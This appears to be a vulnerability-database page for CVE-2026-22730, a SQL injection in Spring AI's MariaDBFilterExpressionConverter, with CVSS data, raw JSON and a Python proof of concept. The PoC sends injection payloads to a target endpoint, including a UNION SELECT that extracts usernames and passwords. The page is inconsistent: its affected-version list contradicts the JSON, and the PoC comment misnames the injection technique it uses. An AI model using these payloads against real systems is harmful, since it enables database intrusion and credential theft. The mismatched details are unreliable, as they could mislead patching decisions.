Security Vulnerability Report
中文
CVE-2026-22730 CVSS 8.8 HIGH

CVE-2026-22730

Published: 2026-03-18 08:16:31
Last Modified: 2026-04-01 16:52:48

Description

A critical SQL injection vulnerability in Spring AI's MariaDBFilterExpressionConverter allows attackers to bypass metadata-based access controls and execute arbitrary SQL commands. The vulnerability exists due to missing input sanitization.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:* - VULNERABLE
Spring AI < 1.0.0-M4
Spring AI 1.0.0-M1 到 1.0.0-M3
使用MariaDBFilterExpressionConverter的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-22730 PoC - SQL Injection in Spring AI MariaDBFilterExpressionConverter # Target: Spring AI application with MariaDB backend TARGET_URL = "http://target-server/api/ai/query" def exploit_sql_injection(): """ PoC for CVE-2026-22730: SQL Injection via MariaDBFilterExpressionConverter This demonstrates how attacker can bypass metadata-based access controls """ # Malicious payload to extract database version and current user # Using boolean-based blind SQL injection technique malicious_filter = { "filterExpression": "id'; SELECT * FROM (SELECT SLEEP(5) AS t, database() AS db, user() AS u) AS x; --" } # Alternative payload for data extraction via UNION injection union_payload = { "filterExpression": "id' UNION SELECT 1,username,password,4,5,6,7 FROM users; --" } headers = { "Content-Type": "application/json", "User-Agent": "Spring-AI-Client/1.0" } print("[*] Testing CVE-2026-22730 SQL Injection...") print(f"[*] Target: {TARGET_URL}") try: # Send malicious request response = requests.post( TARGET_URL, data=json.dumps(malicious_filter), headers=headers, timeout=10 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200: print("[!] Target may be vulnerable - check response for SQL errors or data leakage") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit_sql_injection()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22730", "sourceIdentifier": "[email protected]", "published": "2026-03-18T08:16:31.170", "lastModified": "2026-04-01T16:52:48.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A critical SQL injection vulnerability in Spring AI's MariaDBFilterExpressionConverter allows attackers to bypass metadata-based access controls and execute arbitrary SQL commands.\n\nThe vulnerability exists due to missing input sanitization."}, {"lang": "es", "value": "Una vulnerabilidad crítica de inyección SQL en el MariaDBFilterExpressionConverter de Spring AI permite a los atacantes eludir los controles de acceso basados en metadatos y ejecutar comandos SQL arbitrarios.\n\nLa vulnerabilidad existe debido a la falta de saneamiento de entrada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.0.4", "matchCriteriaId": "F510851F-2162-4380-97A0-75456BC7875A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.1.3", "matchCriteriaId": "34C3CF7E-1A85-4EFE-8CC0-03E85527B2D5"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-22730", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}